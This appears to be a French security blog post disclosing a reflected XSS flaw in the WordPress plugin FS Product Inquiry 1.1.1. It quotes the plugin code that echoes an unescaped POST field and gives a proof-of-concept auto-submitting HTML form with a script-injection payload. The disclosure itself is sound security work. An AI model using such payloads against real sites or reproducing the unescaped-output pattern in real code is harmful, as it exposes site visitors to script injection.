Présentation du plugin
Le plugin FS Product Inquiry se présente de cette façon :
FS Product Inquiry is a WordPress product inquiry plugin. This plugin is useful for product inquiry and also store all the data in the database with email so we can use these emails as subscribe or for other product marketing purposes.
La version testée est la 1.1.1 et date d’il y a 3 ans au moment de ces lignes.
La vulnérabilité
En plus de la faille SQL aussi mentionnée sur ce blog, le plugin est aussi vulnérable à une faille XSS.
C’est là encore lié à la fonction fspi_show_products_list
dans includes/class-fs-products.php
.
Cette fonction inclus un template fspi-show-product-list.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/*
* Define function to show product list
*/
function fs_get_all_products(){
/*
* Add filter to update wp_query for product search
*/
wp_enqueue_script('jquery');
add_filter( 'posts_where', array($this,'fspi_post_title_filter'), 10, 2 );
$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
$product_name = !empty($_POST['product_name'])?trim(sanitize_text_field($_POST['product_name'])):'';
$args = array( 'post_type' => 'fspi-products', 'posts_per_page' => 9, 'paged' => $paged, 'fs_search_post_title' => $product_name);
$loop = new WP_Query($args);
/*
* Remove filter to update wp_query for product search
*/
remove_filter( 'posts_where', array($this,'fspi_post_title_filter'), 10 );
include FSPI_BASE_DIR.'/templates/public/fspi-show-product-list.php';
}
Le template lui-même inclus un autre template :
1
2
3
4
5
<!-- Modal body -->
<div class="modal-body">
<button type="button" class="close" data-dismiss="modal">×</button>
<?php include FSPI_BASE_DIR.'templates/public/fspi-show-inquiry-form.php'; ?>
</div>
C’est dans ce dernier qu’on trouve un simple echo
d’une variable non vérifiée :
1
<input type="hidden" name="_fs_product_id" value="<?php if(!empty($_POST['_fs_product_id'])){echo $_POST['_fs_product_id'];} ?>">
PoC :
1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form id="myForm" method="POST" action="http://localhost:8000/?page_id=5">
<input type="hidden" name="_fs_product_id" value=""><ScRiPt>alert(/XSS/)</sCrIpT>" />
<input type="hidden" name="_fs_name" value="default" />
<input type="hidden" name="_fs_email" value="wapiti2021@mailinator.com" />
</form>
<script>document.createElement('form').submit.call(document.getElementById('myForm'));</script>
</body>
</html>